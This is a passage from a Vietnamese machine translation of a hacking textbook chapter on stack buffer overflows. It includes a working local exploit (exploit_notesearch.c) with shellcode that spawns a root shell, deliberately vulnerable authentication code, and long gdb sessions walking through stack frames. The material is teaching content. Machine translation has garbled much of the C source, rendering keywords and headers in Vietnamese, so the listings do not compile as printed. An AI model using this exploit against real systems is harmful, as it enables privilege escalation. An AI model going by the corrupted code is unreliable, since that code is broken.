Giá trị [SAU] ở 0xbffff804 và là 5 (0x00000005)
người đọc@hacking:~/booksrc $
Lưu ý rằng buffer_one nằm ngay sau buffer_two trong bộ nhớ, vì vậy khi
sao chép mười byte vào buffer_two, hai byte cuối cùng của 90 sẽ tràn vào
buffer_one và ghi đè lên bất kỳ byte nào có ở đó.
Bộ đệm lớn hơn sẽ tự nhiên tràn vào các biến khác, nhưng nếu sử dụng bộ
đệm đủ lớn, chương trình sẽ bị sập và chết.
người đọc@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[TRƯỚC] buffer_two ở 0xbffff7e0 và chứa 'two'
[TRƯỚC] buffer_one ở 0xbffff7e8 và chứa 'one'
Giá trị [TRƯỚC] ở 0xbffff7f4 và là 5 (0x00000005)
[STRCPY] sao chép 29 byte vào buffer_two
[SAU] buffer_two ở 0xbffff7e0 và chứa
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[SAU] buffer_one ở 0xbffff7e8 và chứa 'AAAAAAAAAAAAAAAAAAAAAA'
Giá trị [SAU] ở 0xbffff7f4 và là 1094795585 (0x41414141)
Lỗi phân đoạn (lõi bị đổ)
người đọc@hacking:~/booksrc $
Những loại lỗi chương trình này khá phổ biến—hãy nghĩ đến tất cả những lần
chương trình bị lỗi hoặc màn hình xanh trên máy bạn. Lỗi của lập trình viên
là lỗi thiếu sót—phải có kiểm tra độ dài hoặc hạn chế đối với dữ liệu đầu vào
do người dùng cung cấp. Những lỗi này rất dễ mắc phải và có thể khó phát hiện.
Trên thực tế, chương trình notesearch.c ở trang 93 có lỗi tràn bộ đệm. Bạn có
thể không nhận thấy lỗi này cho đến tận bây giờ, ngay cả khi bạn đã quen thuộc
với C.
người đọc@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------[ kết thúc dữ liệu ghi chú ]-----
Lỗi phân đoạn
người đọc@hacking:~/booksrc $
120 0x300
Machine Translated by Google
Sự cố chương trình rất khó chịu, nhưng trong tay tin tặc, chúng có thể trở nên cực kỳ nguy hiểm.
Một tin tặc có kiến thức có thể kiểm soát một chương trình khi nó bị sập, với một số kết quả đáng ngạc
nhiên. Mã exploit_notesearch.c chứng minh mối nguy hiểm.
khai thác_lưu_ýtìm_kiếm.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
số nguyên không dấu i, *ptr, ret, offset=270;
char *lệnh, *bộ đệm;
lệnh = (char *) malloc(200);
bzero(command, 200); // Xóa bộ nhớ mới về 0.
strcpy(command, "./notesearch \'"); // Bắt đầu bộ đệm lệnh.
buffer = command + strlen(command); // Đặt buffer ở cuối.
if(argc > 1) // Đặt độ lệch.
bù trừ = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Đặt địa chỉ trả về.
for(i=0; i < 160; i+=4) // Điền địa chỉ trả về vào bộ đệm.
*((số nguyên không dấu *)(bộ đệm+i)) = ret;
memset(buffer, 0x90, 60); // Xây dựng NOP sled.
memcpy(bộ đệm+60, mã shell, sizeof(mã shell)-1);
strcat(lệnh, "\'");
system(command); // Chạy lệnh khai thác.
miễn phí(lệnh);
}
Mã nguồn của khai thác này sẽ được giải thích sâu hơn sau, nhưng nói chung, nó chỉ tạo ra một chuỗi
lệnh sẽ thực thi chương trình notesearch với một đối số dòng lệnh giữa các dấu ngoặc đơn. Nó sử dụng
các hàm chuỗi để thực hiện việc này: strlen() để lấy độ dài hiện tại của chuỗi (để định vị con trỏ bộ
đệm) và strcat() để nối dấu ngoặc đơn đóng vào cuối. Cuối cùng, hàm hệ thống được sử dụng để thực thi
chuỗi lệnh.
Bộ đệm được tạo ra giữa các dấu ngoặc đơn là phần cốt lõi thực sự của khai thác. Phần còn lại chỉ là
phương pháp phân phối cho viên thuốc độc dữ liệu này. Hãy xem sự cố có kiểm soát có thể gây ra điều gì.
Khai thác
121
Machine Translated by Google
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out [DEBUG]
tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]----sh-3.2#
Khai thác có thể sử dụng tràn để phục vụ root shell—cung cấp toàn quyền
kiểm soát máy tính. Đây là một ví dụ về khai thác tràn bộ đệm dựa trên ngăn
xếp.
Lỗ hổng tràn bộ đệm dựa trên ngăn xếp 0x321
Lỗ hổng notesearch hoạt động bằng cách làm hỏng bộ nhớ để kiểm soát luồng
thực thi. Chương trình auth_overflow.c minh họa khái niệm này.
auth_overflow.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
int check_authentication(char *password) {
int cờ xác thực = 0;
char password_buffer[16];
strcpy(bộ đệm mật khẩu, mật khẩu);
nếu(strcmp(password_buffer, "brillig") == 0)
cờ xác thực = 1;
nếu(strcmp(password_buffer, "outgrabe") == 0)
cờ xác thực = 1;
trả về auth_flag;
}
int main(int argc, char *argv[]) {
nếu(argc < 2) {
printf("Cách sử dụng: %s <mật khẩu>\n", argv[0]);
thoát(0);
}
nếu(kiểm tra_xác thực(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
inf("
Đã cấp quyền truy cập.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} khác {
printf("\nTruy cập bị từ chối.\n");
}
}
Chương trình ví dụ này chấp nhận mật khẩu làm đối số dòng lệnh duy
nhất và sau đó gọi hàm check_authentication() . Hàm này cho phép hai mật
khẩu, có nghĩa là đại diện cho nhiều xác thực
122 0x300
Machine Translated by Google
phương pháp. Nếu một trong hai mật khẩu này được sử dụng, hàm sẽ trả về 1, cấp
quyền truy cập. Bạn có thể tìm ra hầu hết điều đó chỉ bằng cách xem mã nguồn trước
khi biên dịch. Tuy nhiên, hãy sử dụng tùy chọn -g khi bạn biên dịch, vì chúng ta
sẽ gỡ lỗi sau.
reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
reader@hacking:~/booksrc $ ./auth_overflow Cách
sử dụng: ./auth_overflow <mật khẩu>
reader@hacking:~/booksrc $ ./auth_overflow thử nghiệm
Quyền truy cập bị từ chối.
reader@hacking:~/booksrc $ ./auth_overflow rực rỡ
-=-=-=-=-=-=-=-=-=-=-=-=-=Đã cấp quyền truy cập.
-=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $ ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=Đã cấp quyền truy cập.
-=-=-=-=-=-=-=-=-=-=-=-=-=người đọc@hacking:~/booksrc $
Cho đến nay, mọi thứ đều hoạt động như mã nguồn cho biết. Điều này có thể
mong đợi từ một thứ mang tính quyết định như chương trình máy tính. Nhưng tràn
có thể dẫn đến hành vi bất ngờ và thậm chí là mâu thuẫn, cho phép truy cập mà
không cần mật khẩu phù hợp.
người đọc@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=Đã cấp quyền truy cập.
-=-=-=-=-=-=-=-=-=-=-=-=-=người đọc@hacking:~/booksrc $
Có thể bạn đã đoán ra được chuyện gì đã xảy ra, nhưng hãy cùng xem xét vấn
đề này bằng trình gỡ lỗi để biết chi tiết hơn.
người đọc@hacking:~/booksrc $ gdb -q ./auth_overflow
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách 1
1
#include <stdio.h>
2
#include <stdlib.h>
#include <chuỗi.h>
3 4
int check_authentication(char *password) {
5 6
int cờ xác thực = 0;
7
char password_buffer[16];
8
strcpy(bộ đệm mật khẩu, mật khẩu);
9 10
(gdb)
Khai thác 123
Machine Translated by Google
11
nếu(strcmp(password_buffer, "brillig") == 0)
12
cờ xác thực = 1;
13
nếu(strcmp(password_buffer, "outgrabe") == 0)
14
cờ xác thực = 1;
15
16
17
trả về auth_flag;
}
18
19
20
int main(int argc, char *argv[]) {
nếu(argc < 2) {
(gdb) phá vỡ 9
Điểm dừng 1 tại 0x8048421: tệp auth_overflow.c, dòng 9.
(gdb) phá vỡ 16
Điểm dừng 2 tại 0x804846f: tệp auth_overflow.c, dòng 16.
(gdb)
Trình gỡ lỗi GDB được khởi động với tùy chọn -q để ẩn biểu ngữ chào mừng và đặt điểm dừng ở dòng
9 và 16. Khi chương trình chạy, quá trình thực thi sẽ tạm dừng tại các điểm dừng này và cho chúng ta
cơ hội kiểm tra bộ nhớ.
(gdb) chạy AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bắt đầu chương trình: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Điểm dừng 1, check_authentication (password=0xbffff9af 'A' <lặp lại 30 lần>) tại
auth_overflow.c:9
9
strcpy(bộ đệm mật khẩu, mật khẩu);
(gdb) x/s password_buffer
0xbffff7a0:
")????o??????)\205\004\b?o??p???????"
(gdb) x/x &auth_flag
0x00000000
0xbffff7bc:
(gdb) in 0xbffff7bc - 0xbffff7a0
1 = 28
(gdb) x/16xw mật khẩu_đệm 0xbffff7a0:
0xb7f9f729 0xbffff7b0: 0xb7fd6ff4
0xb7fd6ff4
0xbffff7d8
0x08048529
0xbffff7c0: 0xb7ff47b0 0xbffff7d0:
0xbffff870
0xbffff7d8
0x00000000
0xbffff9af (gdb)
0x08048510
0xbffff7d8
0x080484bb
0x08048510
0xbffff838
0xb7eafebc
Điểm dừng đầu tiên là trước khi strcpy() xảy ra. Bằng cách kiểm tra con trỏ
password_buffer , trình gỡ lỗi cho thấy nó được điền bằng dữ liệu ngẫu nhiên chưa
được khởi tạo và nằm ở 0xbffff7a0 trong bộ nhớ. Bằng cách kiểm tra địa chỉ của biến
auth_flag , chúng ta có thể thấy cả vị trí của nó ở 0xbffff7bc
và giá trị của nó là 0. Lệnh print có thể được sử dụng để thực hiện phép tính số học và cho thấy
auth_flag cách 28 byte sau khi bắt đầu password_buffer. Mối quan hệ này cũng có thể được thấy trong
một khối bộ nhớ bắt đầu từ password_buffer. Vị trí của auth_flag được hiển thị bằng chữ in đậm.
124 0x300
Machine Translated by Google
(gdb) tiếp tục
Tiếp tục.
Điểm dừng 2, check_authentication (password=0xbffff9af 'A' <lặp lại 30 lần>) tại
auth_overflow.c:16
16
trả về auth_flag;
(gdb) x/s password_buffer 0xbffff7a0:
'A' <lặp lại 30 lần>
(gdb) x/x &auth_flag 0xbffff7bc:
(gdb) x/16xw bộ
0x00004141
đệm mật khẩu 0xbffff7a0: 0x41414141
0xbffff7b0: 0x41414141 0xbffff7c0:
0x41414141
0x41414141
0x41414141
0xb7ff47b0 0xbffff7d0: 0xbffff9af (gdb)
0x41414141
0x41414141
0x00004141
x/4cb &auth_flag 0xbffff7bc: 65 'A' 65
0x08048510
0xbffff7d8
0x080484bb
'A' 0 '\0' 0 '\0'
0x08048510
0xbffff838
0xb7eafebc
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
(gdb)
Tiếp tục đến điểm dừng tiếp theo được tìm thấy sau strcpy(), các vị trí bộ nhớ
này được kiểm tra lại. Password_buffer tràn vào auth_flag, thay đổi hai byte đầu
tiên của nó thành 0x41. Giá trị 0x00004141 có thể trông ngược lại, nhưng hãy nhớ
rằng x86 có kiến trúc little-endian, vì vậy nó được cho là trông như vậy. Nếu bạn
kiểm tra từng byte trong bốn byte này riêng lẻ, bạn có thể thấy cách bộ nhớ thực sự
được bố trí. Cuối cùng, chương trình sẽ coi giá trị này là một số nguyên, với giá
trị là 16705.
(gdb) tiếp tục
Tiếp tục.
-=-=-=-=-=-=-=-=-=-=-=-=-=Đã cấp quyền truy cập.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chương trình thoát với mã 034.
(gdb)
Sau khi tràn, hàm check_authentication() sẽ trả về 16705 thay vì 0. Vì câu
lệnh if coi bất kỳ giá trị khác không nào là đã được xác thực, nên luồng thực thi
của chương trình được kiểm soát vào phần đã xác thực. Trong ví dụ này, biến
auth_flag là điểm kiểm soát thực thi, vì ghi đè giá trị này là nguồn của kiểm soát.
Nhưng đây là một ví dụ rất gượng ép phụ thuộc vào cách bố trí bộ nhớ của các
biến. Trong auth_overflow2.c, các biến được khai báo theo thứ tự ngược lại.
(Những thay đổi trong auth_overflow.c được hiển thị bằng chữ in đậm.)
Khai thác 125
Machine Translated by Google
auth_overflow2.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
int check_authentication(char *password) {
char password_buffer[16];
int cờ xác thực = 0;
strcpy(bộ đệm mật khẩu, mật khẩu);
nếu(strcmp(password_buffer, "brillig") == 0)
cờ xác thực = 1;
nếu(strcmp(password_buffer, "outgrabe") == 0)
cờ xác thực = 1;
trả về auth_flag;
}
int main(int argc, char *argv[]) {
nếu(argc < 2) {
printf("Cách sử dụng: %s <mật khẩu>\n", argv[0]);
thoát(0);
}
nếu(kiểm tra_xác thực(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
inf("
Đã cấp quyền truy cập.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} khác {
printf("\nTruy cập bị từ chối.\n");
}
}
Thay đổi đơn giản này đặt biến auth_flag trước password_buffer
trong bộ nhớ. Điều này loại bỏ việc sử dụng biến return_value làm điểm kiểm
soát thực thi, vì nó không còn có thể bị hỏng do tràn bộ nhớ.
người đọc@hacking:~/booksrc $ gcc -g auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử dụng
thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách 1
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <chuỗi.h>
4
int check_authentication(char *password) {
5 6
char password_buffer[16];
int cờ xác thực = 0;
7 8
9
10
(gdb)
126 0x300
strcpy(bộ đệm mật khẩu, mật khẩu);
Machine Translated by Google
11
nếu(strcmp(password_buffer, "brillig") == 0)
12
cờ xác thực = 1;
13
nếu(strcmp(password_buffer, "outgrabe") == 0)
14
cờ xác thực = 1;
15
16
trả về auth_flag;
17
}
18
19
int main(int argc, char *argv[]) {
20
nếu(argc < 2) {
(gdb) phá vỡ 9
Điểm dừng 1 tại 0x8048421: tệp auth_overflow2.c, dòng 9.
(gdb) phá vỡ 16
Điểm dừng 2 tại 0x804846f: tệp auth_overflow2.c, dòng 16.
(gdb) chạy AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Chương trình bắt đầu: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Điểm dừng 1, check_authentication (password=0xbffff9b7 'A' <lặp lại 30 lần>) tại auth_overflow2.c:9
strcpy(bộ đệm mật khẩu, mật khẩu);
9 (gdb) x/s password_buffer
0xbffff7c0:
"?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\
bH???????\002"
(gdb) x/x &xác thực_cờ
0x00000000
0xbffff7bc:
(gdb) x/16xw &auth_flag
0x00000000
0xb7fd6ff4
0xbffff880
0xbffff7e8
0xbffff7cc:
0xb7fd6ff4
0xb7ff47b0
0x08048510
0xbffff7e8
0xbffff7dc:
0x080484bb
0xbffff9b7
0x08048510
0xbffff848
0xbffff7ec:
0xb7eafebc
0x00000002
0xbffff874
0xbffff880
0xbffff7bc:
(gdb)
Các điểm dừng tương tự được thiết lập và kiểm tra bộ nhớ cho thấy auth_flag (được in
đậm ở trên và dưới) nằm trước password_buffer
trong bộ nhớ. Điều này có nghĩa là auth_flag không bao giờ có thể bị ghi đè bởi lỗi tràn
trong password_buffer.
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 2, kiểm tra xác thực (mật khẩu=0xbffff9b7 'A' <lặp lại 30 lần>)
tại auth_overflow2.c:16
16
trả về auth_flag;
(gdb) x/s password_buffer
0xbffff7c0: 'A' <lặp lại 30 lần>
(gdb) x/x &xác thực_cờ
0x00000000
0xbffff7bc:
(gdb) x/16xw &auth_flag
0x00000000
0x41414141
0x41414141
0x41414141
0xbffff7cc:
0x41414141
0x41414141
0x41414141
0x41414141
0xbffff7dc:
0x08004141
0xbffff9b7
0x08048510
0xbffff848
0xbffff7ec:
0xb7eafebc
0x00000002
0xbffff874
0xbffff880
0xbffff7bc:
(gdb)
Khai thác 127
Machine Translated by Google
Như mong đợi, tràn không thể làm nhiễu biến auth_flag , vì nó nằm trước vùng đệm.
Nhưng một điểm kiểm soát thực thi khác tồn tại, mặc dù bạn không thể nhìn thấy nó trong
mã C. Nó nằm ở vị trí thuận tiện sau tất cả các biến ngăn xếp, vì vậy nó có thể dễ dàng
bị ghi đè. Bộ nhớ này là một phần không thể thiếu trong hoạt động của tất cả các chương
trình, vì vậy nó tồn tại trong tất cả các chương trình và khi nó bị ghi đè, nó thường
dẫn đến sự cố chương trình.
(gdb) c
Tiếp tục.
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
0x08004141 trong ?? ()
(gdb)
Nhớ lại từ chương trước rằng stack là một trong năm phân đoạn bộ nhớ được các
chương trình sử dụng. Stack là một cấu trúc dữ liệu FILO được sử dụng để duy trì
luồng thực thi và ngữ cảnh cho các biến cục bộ trong khi gọi hàm.
Khi một hàm được gọi, một cấu trúc được gọi là khung ngăn xếp được đẩy vào
stack, và thanh ghi EIP nhảy đến lệnh đầu tiên của hàm. Mỗi
khung stack chứa các biến cục bộ cho hàm đó và một địa chỉ
biến return_value
trả về để có thể khôi phục EIP. Khi hàm hoàn thành, khung
stack được đẩy ra khỏi stack và địa chỉ trả về được sử dụng
để khôi phục EIP. Tất cả những điều này được tích hợp vào kiến
biến password_buffer
trúc và thường được trình biên dịch xử lý, không phải lập trình
viên.
Con trỏ khung đã lưu (SFP)
Khi hàm check_authentication() được gọi, một
khung ngăn xếp mới được đẩy vào ngăn xếp phía trên
Địa chỉ trả về (ret)
*mật khẩu (đối số func)
khung ngăn xếp của main() . Trong khung này có các
biến cục bộ, địa chỉ trả về và các đối số của hàm.
Chúng ta có thể thấy tất cả các thành phần này trong trình gỡ lỗi.
người đọc@hacking:~/booksrc $ gcc -g auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử
dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách 1
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <chuỗi.h>
4
int check_authentication(char *password) {
5 6
char password_buffer[16];
int cờ xác thực = 0;
7 8
9
strcpy(bộ đệm mật khẩu, mật khẩu);
10
(gdb)
11
128 0x300
nếu(strcmp(password_buffer, "brillig") == 0)
khung ngăn xếp của main()
Machine Translated by Google
12
cờ xác thực = 1;
13
nếu(strcmp(password_buffer, "outgrabe") == 0)
14
cờ xác thực = 1;
15
16
17
trả về auth_flag;
}
18
19
int main(int argc, char *argv[]) {
20
nếu(argc < 2) {
(gdb)
21
printf("Cách sử dụng: %s <mật khẩu>\n", argv[0]);
22
thoát(0);
23
}
24
nếu(kiểm tra_xác thực(argv[1])) {
25
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
26
inf("
27
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
28
} khác {
29
30
Đã cấp quyền truy cập.\n");
printf("\nTruy cập bị từ chối.\n");
}
(gdb) nghỉ 24
Điểm dừng 1 tại 0x80484ab: tệp auth_overflow2.c, dòng 24.
(gdb) phá vỡ 9
Điểm dừng 2 tại 0x8048421: tệp auth_overflow2.c, dòng 9.
(gdb) phá vỡ 16
Điểm dừng 3 tại 0x804846f: tệp auth_overflow2.c, dòng 16.
(gdb) chạy AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Chương trình bắt đầu: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Điểm dừng 1, chính (argc=2, argv=0xbffff874) tại auth_overflow2.c:24
24
nếu(kiểm tra_xác thực(argv[1])) {
(gdb) ir đặc biệt
đặc biệt
0xbffff7e0
0xbffff7e0
(gdb) x/32xw $esp
0xbffff7e0: 0xb8000ce0
0x08048510
0xbffff848
0xb7eafebc
0xbffff7f0:
0x00000002
0xbffff874
0xbffff880
0xb8001898
0xbffff800:
0x00000000
0x00000001
0x00000001
0x00000000
0xbffff810:
0xb7fd6ff4
0xb8000ce0
0x00000000
0xbffff848
0xbffff820:
0x40f5f7f0
0x48e0fe81
0x00000000
0x00000000
0xbffff830:
0x00000000
0xb7ff9300
0xb7eafded
0xb8000ff4
0xbffff840:
0x00000002
0x08048350
0x00000000
0x08048371
0xbffff850:
0x08048474
0x00000002
0xbffff874
0x08048510
(gdb)
Điểm dừng đầu tiên nằm ngay trước lệnh gọi check_authentication()
trong main(). Tại thời điểm này, thanh ghi con trỏ ngăn xếp (ESP) là 0xbffff7e0
và đỉnh của ngăn xếp được hiển thị. Đây là tất cả các phần của khung ngăn xếp
main() . Tiếp tục đến điểm dừng tiếp theo bên trong check_authentication(), đầu
ra bên dưới cho thấy ESP nhỏ hơn khi nó di chuyển lên danh sách bộ nhớ để tạo
chỗ cho khung ngăn xếp check_authentication() (hiển thị in đậm), hiện đang ở
trên ngăn xếp. Sau khi tìm thấy địa chỉ của biến auth_flag () và biến
password_buffer (), vị trí của chúng có thể được nhìn thấy trong khung ngăn xếp.
Khai thác 129
Machine Translated by Google
(gdb) c
Tiếp tục.
Điểm dừng 2, check_authentication (password=0xbffff9b7 'A' <lặp lại 30 lần>) tại
auth_overflow2.c:9
9
strcpy(bộ đệm mật khẩu, mật khẩu);
(gdb) ir đặc biệt
đặc biệt
0xbffff7a0
(gdb) x/32xw $esp
0xbffff7a0
0xbffff7a0:
0x00000000
0x08049744
0xbffff7b8
0x080482d9
0xbffff7b0:
0xb7f9f729
0xb7fd6ff4
0xbffff7e8
0x00000000
0xbffff7c0:
0xb7fd6ff4
0xbffff880
0xbffff7e8
0xb7fd6ff4
0xbffff7d0:
0xb7ff47b0
0x08048510
0xbffff7e8
0x080484bb
0xbffff7e0:
0xbffff9b7
0x08048510
0xbffff848
0xb7eafebc
0xbffff7f0:
0x00000002
0xbffff874
0xbffff880
0xb8001898
0xbffff800: 0x00000000 0xbffff810:
0x00000001
0x00000001
0x00000000
0xb7fd6ff4 (gdb) p 0xbffff7e0 -
0xb8000ce0
0x00000000
0xbffff848
0xbffff7a0
1 = 64
(gdb) x/s password_buffer
0xbffff7c0:
"?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\
bH???????\002"
(gdb) x/x &auth_flag
0x00000000
0xbffff7bc:
(gdb)
Tiếp tục đến điểm dừng thứ hai trong check_authentication(), một khung ngăn xếp
(hiển thị bằng chữ in đậm) được đẩy vào ngăn xếp khi hàm được gọi.
Vì ngăn xếp phát triển hướng lên trên về phía các địa chỉ bộ nhớ thấp hơn, nên con
trỏ ngăn xếp hiện ít hơn 64 byte tại 0xbffff7a0. Kích thước và cấu trúc của một
khung ngăn xếp có thể thay đổi rất nhiều, tùy thuộc vào chức năng và một số tối ưu
hóa của trình biên dịch. Ví dụ, 24 byte đầu tiên của khung ngăn xếp này chỉ là phần
đệm được trình biên dịch thêm vào đó. Các biến ngăn xếp cục bộ, auth_flag và
password_buffer, được hiển thị tại các vị trí bộ nhớ tương ứng của chúng trong khung
ngăn xếp. auth_flag ( ) được hiển thị tại 0xbffff7bc và 16 byte của bộ đệm mật
khẩu() được hiển thị tại 0xbffff7c0.
Khung ngăn xếp chứa nhiều thứ hơn là chỉ các biến cục bộ và phần đệm. Các phần
tử của khung ngăn xếp check_authentication() được hiển thị bên dưới.
Đầu tiên, bộ nhớ được lưu cho các biến cục bộ được hiển thị bằng chữ nghiêng. Điều
này bắt đầu tại biến auth_flag tại 0xbffff7bc và tiếp tục đến cuối biến password_buffer
16 byte . Một vài giá trị tiếp theo trên ngăn xếp chỉ là phần đệm mà trình biên dịch
đưa vào, cộng với thứ gọi là con trỏ khung đã lưu.
Nếu chương trình được biên dịch với cờ -fomit-frame-pointer để tối ưu hóa, con trỏ
khung sẽ không được sử dụng trong khung ngăn xếp. Tại giá trị 0x080484bb là địa chỉ
trả về của khung ngăn xếp và tại địa chỉ 0xbffffe9b7 là con trỏ đến chuỗi chứa 30
As. Đây phải là đối số cho hàm check_authentication() .
(gdb) x/32xw $esp
0x00000000
0xbffff7a0:
0x08049744
0xbffff7b8
0x080482d9
0xbffff7b0:
0xb7f9f729
0xb7fd6ff4
0xbffff7e8
0x00000000
0xbffff7c0:
0xb7fd6ff4
0xbffff880
0xbffff7e8
0xb7fd6ff4
130 0x300
Machine Translated by Google
0xbffff7d0:
0xb7ff47b0
0x08048510
0xbffff7e8
0x080484bb
0xbffff7e0:
0xbffff9b7
0x08048510
0xbffff848
0xb7eafebc
0xbffff7f0:
0x00000002
0xbffff874
0xbffff880
0xb8001898
0xbffff800:
0x00000000
0x00000001
0x00000001
0x00000000
0xbffff810:
0xb7fd6ff4
0xb8000ce0
0x00000000
0xbffff848
(gdb) x/32xb 0xbffff9b7
0xbffff9b7: 0x41
0x41
0x41 0x41
0x41
0x41 0x41
0x41
0xbffff9bf: 0x41
0x41
0x41 0x41
0x41
0x41 0x41
0x41
0x41
0x41
0x41 0x41
0x41
0x41 0x41
0x41
0xbffff9cf: 0x41 (gdb) x/
0x41
0x41 0x41
0x41
0x41 0x00
0x53
0xbffff9c7:
giây 0xbffff9b7
0xbffff9b7:
'A' <lặp lại 30 lần>
(gdb)
Địa chỉ trả về trong một khung ngăn xếp có thể được xác định bằng cách hiểu cách khung ngăn
xếp được tạo ra. Quá trình này bắt đầu trong hàm main() , thậm chí trước khi gọi hàm.
(gdb) giải tán chính
Bản sao mã trình biên dịch cho hàm main:
0x08048474 <main+0>: đẩy ebp
0x08048475 <main+1>:
mov
ebp, đặc biệt
0x08048477 <main+3>: esp,0x8 sub
và
0x0804847a <main+6>: esp,0xfffffff0
0x0804847d <main+9>: eax,0x0 mov
0x08048482 <main+14>: sub esp,eax
0x08048484 <main+16>: cmp DWORD PTR [ebp+8],0x1
0x08048488 <main+20>: jg 0x80484ab <main+55>
0x0804848a <main+22>: mov eax, DWORD PTR [ebp+12]
0x0804848d <main+25>: mov
eax,DWORD PTR [eax]
0x0804848f <main+27>: mov DWORD PTR [esp+4],eax
0x08048493 <main+31>: mov DWORD PTR [esp],0x80485e5
0x0804849a <main+38>: gọi 0x804831c <printf@plt>
0x0804849f <main+43>: mov
DWORD PTR [esp],0x0
0x080484a6 <main+50>: gọi 0x804833c <exit@plt>
0x080484ab <main+55>: mov eax, DWORD PTR [ebp+12]
0x080484ae <main+58>: thêm eax,0x4
0x080484b1 <main+61>: mov DWORD
0x080484b3 <main+63>: mov
eax,DWORD PTR [eax]
PTR [esp],eax
0x080484b6 <main+66>: gọi 0x8048414 <check_authentication>
0x080484bb <main+71>: kiểm tra eax,eax
0x080484bd <main+73>: je
0x080484bf <main+75>: mov
0x80484e5 <chính+113>
DWORD PTR [esp],0x80485fb
0x080484c6 <main+82>: call 0x804831c <printf@plt>
0x080484cb <main+87>: mov
DWORD PTR [esp],0x8048619
0x080484d2 <main+94>: gọi 0x804831c <printf@plt>
0x080484d7 <main+99>: mov
DWORD PTR [esp],0x8048630
0x080484de <main+106>: gọi 0x804831c <printf@plt>
0x080484e3 <main+111>: jmp
0x080484e5 <main+113>: mov
0x80484f1 <chính+125>
DWORD PTR [esp],0x804864d
0x080484ec <main+120>: gọi 0x804831c <printf@plt>
0x080484f1 <main+125>: rời khỏi
0x080484f2 <main+126>: ret Kết
thúc quá trình dump trình biên dịch.
(gdb)
Khai thác
131
Machine Translated by Google
Lưu ý hai dòng được in đậm ở trang 131. Tại thời điểm này, thanh ghi EAX chứa một
con trỏ đến đối số dòng lệnh đầu tiên. Đây cũng là đối số cho check_authentication().
Lệnh lắp ráp đầu tiên này ghi EAX vào nơi ESP đang trỏ đến (đỉnh của ngăn xếp). Lệnh
này khởi động khung ngăn xếp cho check_authentication() với đối số hàm. Lệnh thứ hai là
lệnh gọi thực tế. Lệnh này đẩy địa chỉ của lệnh tiếp theo vào ngăn xếp và di chuyển
thanh ghi con trỏ thực thi (EIP) đến đầu hàm check_authentication() . Địa chỉ được đẩy
vào ngăn xếp là địa chỉ trả về cho khung ngăn xếp. Trong trường hợp này, địa chỉ của
lệnh tiếp theo là 0x080484bb, do đó đó là địa chỉ trả về.
(gdb) vô hiệu hóa check_authentication
Bản sao mã trình biên dịch cho hàm check_authentication:
0x08048414 <check_authentication+0>: đẩy ebp
0x08048415 <kiểm tra_xác thực+1>: mov ebp,esp
0x08048417 <check_authentication+3>: sub esp,0x38
...
0x08048472 <check_authentication+94>: thoát 0x08048473
<check_authentication+95>: ret Kết thúc quá trình
dump trình biên dịch.
(gdb) trang 0x38
3 = 56
(gdb) trang 0x38 + 4 + 4
4 = 64
(gdb)
Quá trình thực thi sẽ tiếp tục vào hàm check_authentication() khi EIP được thay
đổi và một vài lệnh đầu tiên (được in đậm ở trên) hoàn tất việc lưu bộ nhớ cho khung
